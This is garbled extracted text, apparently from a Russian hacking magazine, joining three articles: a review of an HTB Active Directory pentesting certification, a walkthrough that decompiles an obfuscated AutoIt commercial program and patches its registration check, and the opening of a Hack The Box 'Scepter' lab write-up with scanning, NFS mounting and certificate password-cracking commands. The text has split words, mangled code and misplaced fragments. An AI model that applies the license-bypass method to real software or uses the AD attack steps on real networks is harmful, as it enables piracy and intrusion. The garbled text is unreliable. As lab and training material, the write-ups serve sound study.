крас ных, и для синих команд. Там есть матери алы по SOC, веб-пен тесту,
инфраструк туре и мно го чему еще.

Плюс, если захочешь сда вать дру гие экза мены HTB, дос таточ но докупить
ваучер за 210–350 бак сов, а не пла тить сно ва 1260 зеленых. Еще бонус:
за про хож дение модулей начис ляют кубики (внут ренняя валюта). Я
накопил 2025 кубиков и смог купить 2 из 5 экс клю зив ных модулей чет верто го
уров ня (каж дый по 1000 кубиков).

×ÒÎ Ñ ÎÁÓ×ÅÍÈÅÌ?

Курс сос тоит из 15 модулей. Что бы тебя допус тили к экза мену, нуж но прой ти
их все и наб рать 100% прог ресса в Job-Role Path. Все ори енти рова но
на инфраструк туру — никаких веб-тас ков, как в HTB CPTS. На стар те ты
получа ешь вир туал ку (Parrot OS) с дос тупом к пер вому домену.

Но есть пара момен тов, которые мне не очень пон равились:
Мо дуль про CrackMapExec (CME) уста рел. CME уже не под держи вает ся,
его замени ли на NetExec (NXC). Да, они похожи, но у NXC боль ше фич.

•

Мо дуль про BloodHound, чес тно говоря, тут лиш ний. Курс заяв лен
как Expert-уро вень, а BloodHound — это база. Луч ше бы отпра вили его
в CPTS.

•

Ìîäóëè êóðñà: ÷òî ñòîèò ãëÿíóòü
Вот крат кий раз бор модулей и мои советы:

 — дает общий обзор: ата ки на трас ты, ACL,
Kerberoasting, Password Spraying и так далее. Хорошая база перед более
глу боки ми темами.

• AD Enum & Attacks

 — рас ска зыва ет про перечис ление через LDAP, вклю чая ано ним -
ный дос туп. Полез но для чей нов (нап ример, если ты собира ешь юзе ров
через lookupsid, потом дела ешь ASREPRoasting с GetNPUsers).

• AD LDAP

 — клас сный модуль, осо бен но если ты новичок

в инфраструк туре. Мне PowerView помог на CPTS, ког да я толь ко начинал,
но исполь зую и по сей день (так же есть ути лита для Kali).

• AD PowerView

 — мож но сме ло про пус тить. Думаю, ты и так с ним зна -

ком.

• AD BloodHound

 — раз бира ет RDP, SMB, WMI, WinRM, DCOM,

SSH и парал лель ное переме щение из Windows и Linux. Упо мина ют
WSUS — на экза мене его нет, но в реаль ной жиз ни встре чает ся.

• Windows Lateral Movement

 — модуль пора обно вить из-за перехо да на NetExec.• Using CrackMapExec

 — читай от и до! Тут все — от ASREPRoasting

и Kerberoasting до слож ных тех ник вро де RBCD с MAQ=0 (узнал про нее
на кур се, попалась на экза мене).

• Kerberos Attacks

 — ACL-зло упот ребле ния — осно ва кур са. Будут

на экза мене, так что учи.

• DACL Attack I & II

 — рас ска зыва ет про SMB Relay, Cross-Protocol Relay

и так далее. Полез но для сбо ра хешей или сес сий (нап ример, через .url-
фай лик на шаре).

• NTLM Relay Attacks

 — пен тестер ский хлеб с мас лом. На экза мене ты встре тишь

ESC, а в реаль ной жиз ни — ESC1, ESC4, ESC8, ESC11.

• ADCS Attacks

 — один из луч ших модулей. В нем разоб рана куча тех ник

от прос тых (KUD) до слож ных (GoldenGMSA). Обя затель но к изу чению.

• AD Trust Attacks

 — чес тно говоря, на любите ля. Аген ты

в Sliver занима ют 20–30 Мбайт, плюс мно го IOC.

• Intro to C2 Operations with Sliver

 — модуль малень кий,

но полез ный. Если решишь исполь зовать Sliver, пос мотри 
 — там мно го полез ного.

• Introduction to Windows Evasion Techniques

пост Домини ка
Брой ке

 — Microsoft SQL и Exchange будут
на экза мене (MSSQL дос тавил мне кучу проб лем, наде юсь, тебе повезет
боль ше). SCCM на экза мене нет, но модуль дает базу (два вари анта ата ки
из девяти).

• MSSQL, Exchange, and SCCM Attacks

ÊÀÊ ÏÐÎÕÎÄÈÒ ÝÊÇÀÌÅÍ?

Эк замен длит ся десять дней, вклю чая написа ние отче та. Нуж но наб рать
минимум девять из десяти фла гов (все го один надцать хос тов в трех сетях). Я
советую уло жить ся в восемь дней на решение, что бы оста лось вре мя
на отчет. Если не наберешь минимум, HTB дает вто рую попыт ку, но отчет все
рав но нуж но сдать вов ремя.

Эк замен доволь но пря моли ней ный, «кро личь их нор» поч ти нет. Иног да я
зах ватывал хост и прос то догады вал ся, что делать даль ше. Фла ги соп ровож -
дают ся под сказ ками (где и на каком хос те искать), что силь но помога ет.
Но HTB стро го про веря ет отче ты — делай скрин шоты каж дого шага.

Ìîè ñîâåòû
Ве ди струк туриро ван ные замет ки, что бы не путать ся. Я на CPTS это го
не делал и пот ратил кучу вре мени на поиск инфы.

•

Ес ли зас трял — сде лай паузу, отвле кись. Мне это помога ло.•
Де лай скри ны все го! Экза мена торы HTB любят под робные отче ты.•

Êàêèå óòèëèòû ïðèãîäÿòñÿ?
Вот мой спи сок помимо стан дар тных BloodHound, Impacket, Mimikatz и Certpy:

 — помога ет с RBCD, сме ной пароля (ForceChangePassword)

и Shadow Credentials.

• ldap_shell

 — для Kerberoasting через наз начение SPN (потом

скрипт сам его чис тит).

• targetedKerberoast.py

 — добав ляет юзе ра в груп пу с пра вами Self-

Membership (Impacket это го не уме ет).

• addusertogroup.py

 — моя любимая ути лита для эска лации из семей ства

Potato.

• CoercedPotato

 — получа ешь аген ты, имея логин и пароль (не забудь дать пра ва
через icacls).

• RunasCs

 — кон верти рует Kerberos-билеты из Windows в ccache.• kirbi2ccache

 — дела ет спе цифи чес кие LDAP- и SAMR-зап росы к DC

для управле ния объ екта ми AD и повыше ния при виле гий.

• BloodyAD

Parrot OS на экза мене нуж но нас тро ить для проб роса пор тов. Открой
, рас коммен тируй  и ,

но для вто рого изме ни зна чение с  на , потом переза пус ти служ бу.
Еще учти, что у машины нет интерне та, поэто му, если он понадо бит ся, при -
дет ся исполь зовать chisel.

sshd_config AllowTcpForwarding yes GatewayPorts
no yes

И еще совет. Лаба нес табиль на, так что зак репляй ся на хос тах. Бывали слу -
чаи, ког да все отва лива лось и при ходи лось начинать заново.

ÑÅÐÒÈÔÈÊÀÒ

Пос ле успешной сда чи ты получишь сер тификат .

На июнь 2025 года его получи ли все го 35 человек (я был в чис ле пер вых 29).
Так что это пока доволь но ред кая шту ка, которой мож но гор дить ся.

HTB CAPE

ÂÛÂÎÄÛ

HTB CAPE — это кру той, но реаль но слож ный курс, который про веря ет
не толь ко навыки, но и выдер жку. В какие-то момен ты было тяжело, и я стал -
кивал ся с ситу ациями, где казалось, что ничего не работа ет, нес мотря на все
уси лия.

Нап ример, с век тором Microsoft SQL я про бовал поч ти всё, что толь ко
мож но, — даже коман ды из методич ки, но ничего не сра баты вало. Я переп -
робовал раз ные под ходы, копал ся в докумен тации, но все рав но ничего
не получа лось, пока не дошел до век тора выпол нения команд через модель

 — вот это наконец сра бота ло, и я выдох нул.EXEC ... AT [HOSTNAME];
Бы ли момен ты, ког да я серь езно хотел все бро сить и пой ти на перес дачу,

осо бен но пос ле нес коль ких часов без прог ресса, но я решил взять перерыв
на сут ки, что бы остыть и соб рать ся с мыс лями.

Этот перерыв реаль но помог — вер нулся с ясной головой, и все пош ло
как по мас лу. Так что мой совет: запасай ся тер пени ем, печень ками и не сда -
вай ся, если что-то не получа ется. Уда чи всем, кто решит прой ти HTB CAPE, вы
точ но спра витесь, если не будете торопить ся и дадите себе вре мя!

https://t.me/huyaker1337
https://academy.hackthebox.com/preview/certifications/htb-certified-active-directory-pentesting-expert
https://academy.hackthebox.com/preview/certifications/htb-certified-active-directory-pentesting-expert
https://xakep.ru/tag/hackthebox/
https://xakep.ru/tag/hackthebox/
https://github.com/Adaptix-Framework/AdaptixC2
https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/
https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/
https://github.com/PShlyundin/ldap_shell
https://github.com/ShutdownRepo/targetedKerberoast
https://github.com/juliourena/ActiveDirectoryScripts/blob/main/Python/addusertogroup.py
https://github.com/Prepouce/CoercedPotato
https://github.com/skelsec/minikerberos/blob/main/minikerberos/examples/kirbi2ccache.py
https://github.com/CravateRouge/bloodyAD
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ВЗЛОМ

Да вай раз берем ся, как вытащить исходни ки
из «ском пилиро ван ного» скрип та AutoIt,
обой ти обфуска цию и снять три аль ные
огра ниче ния без перес борки про екта. Я
покажу, как работа ет деком пилятор
myAutToExe, где скры ты стро ки и как под -
ловить клю чевую перемен ную, что бы обма -
нуть про вер ку регис тра ции, — по шагам,
от ревер са до финаль ного пат ча.

Се год ня мы будем сочетать при ятное с полез ным, а имен но пог рузим ся в две
наши любимые темы — раз ные экзо тичес кие интер пре тато ры и деоб фуска -
ция. Я уже дос таточ но злос ловил на тему того, сколь ко в пос леднее вре мя
понап ридумы вали средств раз работ ки для чай ников, что бы каж дый школь ник
пос ле прос мотра озна коми тель ного тик токов ско го ролика мог закодить свою
пер вую прог рамму.

На вер ное, ты уди вил ся, почему я до сих пор не упо минал такое рас -
простра нен ное условно-бес плат ное поделие, как ? Судя по все му, он
задумы вал ся как меч та любой дрес сирован ной обезь яны — ничего не надо
прог рамми ровать, прос то вози мыш кой по экра ну и тыкай по кноп кам, все
твои дей ствия авто мати чес ки скрип туют ся, при чем совер шенно без возмез -
дно, то есть даром. Для тех, кто чуть поум нее, нас коро при дума ли уре зан ную
вер сию бей сика для добав ления в скрип ты прос тень кой логики.

AutoIt

Даль ше, по мере рос та популяр ности тех нологии, ее соз датели пош ли
по накатан ной схе ме — при дума ли механизм ком понов ки из прос тецких тек -
сто вых скрип тов исполня емых фай лов, и вот уже целые ком мерчес кие про -
екты пишут ся исклю читель но на AutoIt. При чем изна чаль но в полити ке кон -
торы сох ранялось некое фри вар но-опен сор сное фрон дерс тво: пакет,
помимо «ком пилято ра» Aut2Exe, пре обра зовы вающе го скрипт в исполня емый
модуль, содер жал «деком пилятор», про вора чива ющий фарш назад, —
Exe2Aut.

Од нако с вер сии 3.2.5.1 эти вред ные веяния упраз дни ли и теперь гро зят
вся чес кими карами наг лецам, пос мевшим заик нуть ся 

. Конеч но же, угро зами дело
не огра ничи лось — была пред при нята и прог рам мная защита исходно го кода
(мес тами доволь но забав ная): пре ком пиляция исходни ков в байт-код,
который потом упа ковы вали, зашиф ровыва ли и даже навеши вали свер ху UPX,
а кро ме того, исполь зовали весь ма при митив ную обфуска цию. Естес твен но,
такая защита эффектив на исклю читель но от чес тных людей, точ нее, от школь -
ников, нез накомых с осно вами реверс-инжи нирин га.

о вос ста нов лении кода
из «ском пилиро ван ного» исполня емо го фай ла

Я дав но хотел написать раз бор одно го из таких про ектов, но никак не мог
най ти под ходящий ком мерчес кий про дукт. И вот кан дидат на роль подопыт -
ного кро лика наконец отыс кался. Итак, у нас име ется некий прог рам мный
пакет авто мати зации, записы вающий и вос про изво дящий ряд дей ствий поль -
зовате ля с кла виату рой и мышью. Detect It Easy крас норечи во ука зыва ет
на его про исхожде ние.

Exeinfo PE более кон крет но называ ет вер сию — AutoIt v3.3.13.15. Пакет
работа ет, но без регис тра ции сущес тву ет ряд раз дра жающих огра ниче ний:
при опре делен ных дей стви ях прог рамма выда ет сооб щения вида
«Unregistered version can not ..., to register?» с пред ложени ем, понят ное дело,
зарегис три ровать ся.

Ли цен зион ный ключ прог рамма зап рашива ет на сай те раз работ чика, там же
этот ключ и валиди рует, что допол нитель но харак теризу ет авто ров с не очень
хорошей сто роны. Раз так, поп робу ем сами вытащить исходни ки из исполня -
емо го фай ла. Пос коль ку вер сия нашего AutoIt выше 3.2.5.1, штат ного деком -
пилято ра для нее не сущес тву ет.

По счастью, име ются и сто рон ние деком пилято ры, и деоб фуска торы
AutoIt, и Exeinfo PE даже ука зыва ет нам на них: это 
и AU3Stripper v19.x 2019 or myAutToExe 2.15 CW2K@gmx.de.

Exe2Aut decomp. v0.10 2014

Пер вая ссыл ка уже мер тва, а со вто рой явно что-то не то, одна ко про ект
myAutToExe впол не сущес тву ет и под держи вает ся . Мож но нагуг лить
еще, к при меру, питонов ский скрипт , но нам впол не под ходит
и myAutToExe — он самый акту аль ный, да еще и со мно жес твом заяв ленных
допол нитель ных фич, поэто му им и вос поль зуем ся.

на GitHub
AutoIt-Ripper

Дей стви тель но, этот инс тру мент вос ста новил нам исходный au3-файл,
сэконо мив кучу вре мени и нер вов на раз бор вир туаль ной машины и сис темы
команд AutoIt, которых мы на этот раз касать ся не будем. Воз можно, у нас
ког да-нибудь появит ся задача, для которой это будет необ ходимо, но пока
что для даль нейших дей ствий впол не дос таточ но и вос ста нов ленно го кода.
Жела ющие могут самос тоятель но углу бить ся в эту тему, более деталь но
иссле довав исходни ки при веден ных выше гит хабов ских про ектов.

У нас же, даже нес мотря на наличие вос ста нов ленно го кода, веселье толь -
ко начина ется. При пер вом взгля де ста новит ся оче вид но, что получен ный код
совер шенно нечита ем.

На чис то отсутс тву ют име на иден тифика торов, чис ленные и стро ковые кон -
стан ты. Судя по оби лию фун кций , веро ятно, зашиф рованы осо бо

кри тич ные фраг менты кода — налицо явная обфуска ция с целью осложнить
нам жизнь. При чем обфуска ция какая-то самопис но-кас томная, пос коль ку
в исполь зован ном нами myAutToExe деоб фуска ция извес тных инс тру мен тов
заяв лена пря мо «из короб ки». В  даже перечис лен спи сок под -

держи ваемых обфуска торов:

EXECUTE()

readme.txt

Supported Obfuscators:
'Jos van der Zande AutoIt3 Source Obfuscator v1.0.14 [June 16, 2007]' ,
'Jos van der Zande AutoIt3 Source Obfuscator v1.0.15 [July 1, 2007]' ,
'Jos van der Zande AutoIt3 Source Obfuscator v1.0.20 [Sept 8, 2007]' ,
'Jos van der Zande AutoIt3 Source Obfuscator v1.0.22 [Oct 18, 2007]' ,
'Jos van der Zande AutoIt3 Source Obfuscator v1.0.24 [Feb 15, 2008]' ,
'EncodeIt 2.0' and
'Chr() string encode'

При чем содер жащи еся в при мерах обфусци рован ные фай лы этим самым Jos
van der Zande AutoIt3 Source Obfuscator до боли напоми нают наш код,
но что-то неуло вимое меша ет myAutToExe кор рек тно его детек тировать
и деоб фусци ровать. Не будем искать ответ на воп рос, что имен но и как
починить myAutToExe, — у нас сей час есть кон крет ная цель, и нет смыс ла
отвле кать ся на побоч ные квес ты. Поп робу ем при дать прог рамме читабель -
нос ти сво ими руками.

Бла го мы уже изрядно под наторе ли в гораз до более мрач ной деоб фуска -
ции. В качес тве при меров можешь пос мотреть дру гие мои статьи:
• Зелье для Zelix. Изу чаем обфуска тор для Java и при думы ваем собс твен -

ный деоб фуска тор
• Раз гадай ка. Пишем собс твен ный деоб фуска тор для JavaScript
• JSFuck. Раз бира ем уни каль ный метод обфуска ции JS-кода

Вдо бавок умные люди уже дав но занима ются делом деоб фуска ции скрип тов
AutoIt и  об этом . В общем, как говорит ся, гла за боят ся, а руки
дела ют.

пи шут статьи

Нач нем с вос ста нов ления тек сто вых строк. По оби лию в вос ста нов ленном
коде прис ваива ний выраже ний вида  мож но пред -

положить, что стро ковые кон стан ты каким-то обра зом закоди рова ны через
эти фун кции и мас сив. Находим фун кцию  в самом кон це кода:

A2E00001A18($OS[...])

A2E00001A18

FUNC A2E00001A18($A2E00001A18)
  LOCAL $A2E00001A18_
  FOR $X=1 TO STRINGLEN($A2E00001A18)STEP 2
    $A2E00001A18_&=CHR(DEC(STRINGMID($A2E00001A18,$X,2)))
  NEXT
  RETURN $A2E00001A18_
ENDFUNC

Ни чего слож ного, типич ная крип тогра фия для млад ших школь ников: каж дый
сим вол закоди рован дву мя Hex-сим волами сво его 8-бит ного шес тнад -
цатерич ного кода. Оста лось понять, как фор миру ется огромный (нес коль ко
тысяч эле мен тов) мас сив исходных строк для этой фун кции . Если гля -
нуть на пре дыду щий скрин шот, то ста новит ся оче вид но, что его запол няет
фун кция , тоже рас положен ная в кон це кода.

$OS[]

A2E00001A18_()

В ней так же нет ничего слож ного: она зачем-то целых пять раз под ряд сох -
раня ет в файл вре мен ного катало га со слу чай ным наз вани ем (генери руемым
фун кци ей ) огромный мас сив тек сто вых дан ных, захар дко -
жен ный в пред шес тву ющей фун кции . Нем ного сму щают вот

эти «зашиф рован ные» стро ки кода:

a2e00001a18x_()
_igrf4d27dqc()

Global $a2e00001a18, $os = 
Execute(BinaryToString("0x457865637574652842696E617279746F737472696E6
72827...

И вот такие:

Execute(BinaryToString("0x457865637574652842696E617279746F737472696E6
72827307834353738363536333735373...

Пер вая из них запол няет иско мый мас сив , но, судя по исполь зованию

фун кции , дру гих крип тоал горит мов автор обфуска тора

пока не выучил, поэто му пишем прос тень кую прог рам мку на шар пе и рас -
кодиру ем пер вую стро ку:

$OS
BinaryToString()

   string newline = "";
          for (int j = 0; j < sline.Length; j += 2)

{
        string charcode = sline.Substring(j, 2);
    try
    {

            byte bt = Convert.ToByte(charcode, 16);
          newline += (char)(bt);

    }
      catch (Exception e)
      { break; }
}

На выходе вмес то нор маль ного кода мы сно ва видим конс трук цию 
, под ней — еще одну такую же, из чего дела ем

вывод, что раз работ чик мало того что лишен фан тазии, так еще и очень упор -
ный. Одна ко мы все рав но упор нее и на пятом или шес том шаге видим
баналь ное чте ние из све жесох ранен ного тек сто вого фай ла, а затем — пар -
синг про читан ного на стро ки с раз делите лем . Вто рая стро ка еще про ще:

там под все ми  скры вает ся зак рытие фай ла, мож но было и не

парить ся с рас кодиров кой.

Execute(
BinaryToString("0x...")

I9O
BinaryToString

В ито ге для получе ния мас сива исходных кон стант, а это имен но он, мы
все го-нав сего лепим из строк  исходный файл, рас кодиру ем

его, пар сим с раз делите лем на мас сив строк, которые сно ва рас кодиру ем.
Затем в исходном скрип те в цик ле дела ем сле дующую замену:

$CWB73PD1HFM

       script = script.Replace("A2E00001A18($OS[" + (i+1) + "]", """
+newline+""");

На выходе получа ем более-менее чита емый код, по которо му уже мож но вес -
ти поиск стро ковых кон стант. Поэто му прис тупим к сле дующе му эта пу.

Да же не будем свя зывать ся с генера цией License code — сер верную
валида цию нам не победить, поэто му поп робу ем побороть ся с три аль ными
огра ниче ниями. Для начала ищем пер вое попав шееся сооб щение о три аль -
ной лимита ции:

GLOBAL $A020E505234="Unregistered version can not run the script by 
double-clicking, to register?")

По-хороше му надо бы сде лать еще одну серию замен имен перемен ных
прис воен ными кон стан тами, ну да и так сой дет. Находим пер вое исполь -
зование :$A020E505234

...
$A2626105430=A1301903946()
IF $A2626105430<>NUMBER($A5FFDF04D54)THEN
  IF 
MSGBOX(NUMBER($A420E005246)+NUMBER($A0B0E102B48)+NUMBER($A130E204A06)
+NUMBER($A5E0E301024),$A5E0E40554C,$A020E505234)=NUMBER($A360E600A00)
THEN
    SHELLEXECUTE($A2F0E703700)
    EXIT
  ELSE
    EXIT
  ENDIF
...

По иском по коду находим кон стан ту, с которой срав нива ется :$A2626105430

$A5FFDF04D54=" 1 "

Вся конс трук ция напоми нает про вер ку на регис тра цию, которую выпол няет
фун кция , в зарегис три рован ной вер сии она воз вра щает .
Точ но так же поис ком по коду мы находим фун кцию  и вет ку кода,

которая исполня ется в слу чае отсутс твия пра виль ной регис тра ции.

A1301903946() 1
A1301903946

А вот теперь давай сде лаем паузу и подума ем, куда мы приш ли и что нам
делать даль ше. С одной сто роны, мы вро де как задачу выпол нили — наш ли
мес то для пат ча, ведь дос таточ но заменить выделен ную стро ку ,
и прог рамма будет вес ти себя как навеч но зарегис три рован ная.

return 1

Но по здра вом раз мышле нии это было бы изрядным лукавс твом с моей
сто роны. Ведь нель зя прос то так взять и ском пилиро вать поп равлен ный
скрипт обратно в : к сожале нию, как и все про чие деком пилято ры, этот
неидеален и про цесс вос ста нов ления мяса из кот лет обла дает изрядной дес -
трук тивностью. Даже при бег лом прос мотре кода замет ны баги, на исправ -
ление которых мож но пот ратить непонят но сколь ко вре мени, что бы скрипт
хотя бы начал ком пилиро вать ся без оши бок.

.exe

Я уж не говорю про наличие ресур сов, без которых пол ное вос ста нов -
ление пол ноцен ного про екта для обратной сбор ки может прев ратить ся в дол -
гий, без бла годат ный и неп рият ный для хакера про цесс. Конеч но, если тебе
нуж но ревер сировать прос тень кий скрипт из пары десят ков строк, это может
и про канать, но для боль ших и слож ных про ектов (неуже ли я говорю это имен -
но про AutoIt?) такой путь нецеле сооб разен.

Бо лее ком про мис сный вари ант — патч байт-кода — в нашем слу чае тоже
не очень хороший выход: как я уже говорил, занимать ся перепа ков кой-перек -
рипто вани ем байт-кода — весь ма слож ная идея, дос той ная отдель ной
статьи. Которую я, при наличии инте реса к теме, воз можно, и напишу впос -
ледс твии, но в этой я изна чаль но обе щал, что мы не будем касать ся темы
раз бора интер пре тато ра и вир туаль ной машины AutoIt.

И я намерен сдер жать свое обе щание, поэто му еще более ком про мис -
сный вари ант пат ча на лету уже рас пакован ного байт-кода во вре мя выпол -
нения прог раммы (мы такой фокус про делы вали в пре дыду щих моих стать ях)
идет тем же мар шру том, что и пре дыду щие. Что нам оста ется? В прин ципе,
мож но было бы про дол жить ана лиз фун кции про вер ки клю ча и сде лать собс -
твен ный генера тор лицен зии для прог раммы, которая, по счастью, в отли чие
от регис тра ции про ходит пол ностью в офлай не. И этот вари ант, дей стви тель -
но, был бы самым пра виль ным из всех выше опи сан ных. Одна ко мы и так
изрядно уто мились, раз бирая это при ложе ние, вдо бавок написа ние генера -
тора пред став ляет собой ско рее логичес кую задачу, не отно сящу юся к теме
статьи.

Ты, навер ное, уже догадал ся, что у меня есть спе циаль ный читер ский спо -
соб пат ча прог раммы без пат ча кода (ну поч ти)? Собс твен но, нам под ска зал
его сам раз работ чик, по стран ной при хоти вынес ший все-все-все кон стан ты
во внеш ний файл, что бы затем заг рузить их обратно. Этот момент и явля ется
самым уяз вимым мес том в прог рамме: ничего не сто ит перех ватить
и поменять любую жиз ненно важ ную кон стан ту без фор маль ной прав ки кода,
в котором она вызыва ется.

К при меру, для того что бы фун кция  воз вра щала , нам
дос таточ но поменять зна чение перемен ной  с  на .

В исходном коде перемен ной  прис ваивает ся зна чение

. Для модифи кации это го зна чения дос таточ но

поменять эле мент мас сива .

A1301903946() 1
$A3CC582494F 0 1

$A3CC582494F
A2E00001A18($OS[9672])

$OS[9672]
Лег ко про верить, что этот эле мент в осталь ном коде боль ше ниг де

не исполь зует ся (сви детель ство того, что автор обфуска тора про гулял
занятие, пос вящен ное опти миза ции кода, или еще не доучил ся до него). То
есть для регис тра ции прог раммы нам дос таточ но в момент сох ранения
или заг рузки фай ла, содер жащего все кон стан ты, поменять в нем 9672-e зна -
чение с 0 на 1.

Поп робу ем это реали зовать.
Для начала най дем мес то в коде прог раммы, где выг ружа емый файл кон -

стант пол ностью заг ружен и готов к пат чу. Для это го нам все-таки при дет ся
нем ного пополь зовать наш любимый отладчик x64dbg. Упо мяну тую про цеду ру
мы про делы вали в пре дыду щих стать ях мно го раз — ста вим точ ку оста нова
на kernel32-фун кцию  и отсле жива ем, какие имен но дан ные чита -

ются этой фун кци ей. По счастью, наша прог рамма чита ет сов сем нем ного,
и бук валь но через нес коль ко вызовов мы натыка емся на чте ние фай ла кон -
стант пор циями по  байт.

ReadFile

0x10000
Под нявшись чуть выше по сте ку вызовов, мы находим мес то, где файл уже

заг ружен пол ностью, и ука затель на начало буфера его заг рузки находит ся в 

.

[
ebp+8]

Те перь надо разоб рать ся, что имен но нуж но пра вить в этом буфере. Вспо -
мина ем, что дан ные в нашем фай ле пред став ляют собой мас сив закоди -
рован ных строк с раз делите лем . Берем сли тый из вре мен ного катало га

файл кон стант и ищем в нем 9671-е вхож дение раз делите ля при помощи
прос тень кой прог раммы на шар пе:

I9O

        public static int IndexOfNth(string str, string value, int n)
{

       int startIndex = 0;
       int index = 0;

            for (int i = 0; i < n; i++)
    {

           index = str.IndexOf(value, startIndex);

           if (index == -1)
        {

             return -1;
        }

            startIndex = index + value.Length;
    }

     return index;
}
...

     int pos = IndexOfNth(strings, "I9O", 9671);

Ис комая позиция в фай ле выг лядит так.

Иду щая за ним пос ледова тель ность  пред став ляет собой закоди -

рован ную стро ковую кон стан ту , которая заг ружа ется в . То есть,
для того что бы там ста ло зна чение , нам надо поп равить байт по сме щению

 c  на . Мес та в коде прог раммы для это го, разуме ется, нет,

поэто му ищем в кон це сек ции кода сво бод ный кусок и дела ем на него
переход.

203020
0 $OS[9672]

1
0x24972 0x30 0x31

Там встав ляем необ ходимый патч, пос ле которо го воз вра щаем ся обратно,
не забыв выпол нить три затер тые перехо дом коман ды.

За пус каем прог рамму — дей стви тель но, в окне регис тра ции она выг лядит
как зарегис три рован ная, и даже лицен зион ных огра ниче ний нет.

Вот теперь дей стви тель но мож но ста вить точ ку: мы получи ли пол ноцен ный
самодос таточ ный авто патч без пол ной перес борки про екта из вос ста нов -
ленных исходни ков — все как мы любим. Конеч но, со сто роны это может
показать ся смеш ным шаманс твом, уси лия и тру дозат раты на патч никак
не оправды вают прак тичес кую цен ность скрип тов, которые обыч но завора -
чива ют в AutoIt.

С дру гой сто роны, кто зна ет, где и ког да нам может при годить ся получен -
ный опыт? Воз можно, при нынеш них тен денци ях раз вития кодин га ког -
да-нибудь через нес коль ко лет AutoIt эво люци они рует в мощ ную ком мерчес -
кую сре ду раз работ ки, вытес няющую нынеш ние низ коуров невые язы ки прог -
рамми рова ния, так же, как в свое вре мя под нялись какие-нибудь потен циаль -
но узко ориен тирован ные Python и JavaScript.

https://www.autoitscript.com/site/
https://www.autoitscript.com/wiki/Decompiling_FAQ
https://www.autoitscript.com/wiki/Decompiling_FAQ
http://domoticx.com/autoit3-decompiler-exe2aut
https://github.com/daovantrong/myAutToExe
https://github.com/nazywam/AutoIt-Ripper
https://xakep.ru/2025/03/05/zelix/
https://xakep.ru/2025/03/05/zelix/
https://xakep.ru/2024/07/25/js-deobfuscation/
https://xakep.ru/2024/06/05/jsfuck/
https://lifeinhex.com/deobfuscating-autoit-scripts/
https://lifeinhex.com/deobfuscating-autoit-scripts-part-2/
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ВЗЛОМ

Се год ня я покажу раз ные вари анты тех ники
повыше ния при виле гий ADCS ESC14: сна -
чала для получе ния сес сии на хос те,
а затем для получе ния повышен ных прав
в домене Windows.

На ша цель — получе ние прав супер поль зовате ля на машине Scepter с учеб -
ной пло щад ки . Уро вень задания — слож ный.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.65    scepter.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел 13 откры тых пор тов:
88 — Kerberos;•
111, 2049 — NFS;•
135 — Microsoft RPC;•
139 — NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM.•

Пер вым делом обно вим содер жимое фай ла ./etc/hosts

10.10.11.65 scepter.htb dc01 dc01.scepter.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

На хос те работа ет служ ба NFS, про верим, есть ли для нас дос тупные бэкапы.

showmount -e 10.10.11.65

Дос тупные тома NFS

Нам дос тупен для чте ния ресурс . Мон тиру ем его к нашей сис теме
и прос матри ваем содер жимое катало га.

helpdesk

mkdir /tmp/nfs
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/nfs

 sudo ls -la /tmp/nfs/

Со дер жимое ресур са helpdesk

В катало ге содер жатся сер тифика ты и клю чи. PFX-сер тифика ты защище ны
паролем. Мы можем исполь зовать , что бы для сер тифика тов

сфор мировать хеши паролей в фор мате ути литы john.

pfx2john.py

pfx2john.py clark.pfx >> hashes.txt
pfx2john.py lewis.pfx >> hashes.txt
pfx2john.py scott.pfx >> hashes.txt

За тем отправ ляем получен ные хеши на перебор. Получа ем один пароль
для всех сер тифика тов.

john --wordlist=rockyou.txt hashes.txt

Ре зуль тат под бора паролей

Пе ред исполь зовани ем сер тифика та с него нуж но «снять» пароль.

 certipy cert -export -pfx nfs/clark.pfx -out clark.pfx -password 
newpassword

Од нако при попыт ке прой ти аутен тифика цию с любым из сер тифика тов
получа ем ошиб ку, что кли ент отоз ван.

certipy auth -pfx clark.pfx

Ошиб ка аутен тифика ции

Прос мотрим дру гой сер тификат — , который исполь зует ся

для аутен тифика ции поль зовате ля .

baker.crt
d.baker

Ин форма ция о сер тифика те

Скон верти руем сер тификат в фор мат PFX, пос ле чего поп робу ем прой ти
аутен тифика цию и получим учет ные дан ные поль зовате ля.

 openssl pkcs12 -export -out baker.pfx -in baker.crt -inkey baker.key

 certipy cert -export -pfx ~/tmp/HTB/scepter/nfs/baker.pfx -out baker.
pfx -password newpassword

certipy auth -pfx baker.pfx

Ошиб ка получе ния TGT-билета

Ошиб ка  говорит о несо ответс твии вре мени на сер вере

и кли енте. Раз ница сос тавля ет восемь часов, ее мы можем убрать с помощью
ути литы .

KRB_AP_ERR_SKEW

faketime

 faketime -f '+8h' certipy auth -pfx baker.pfx

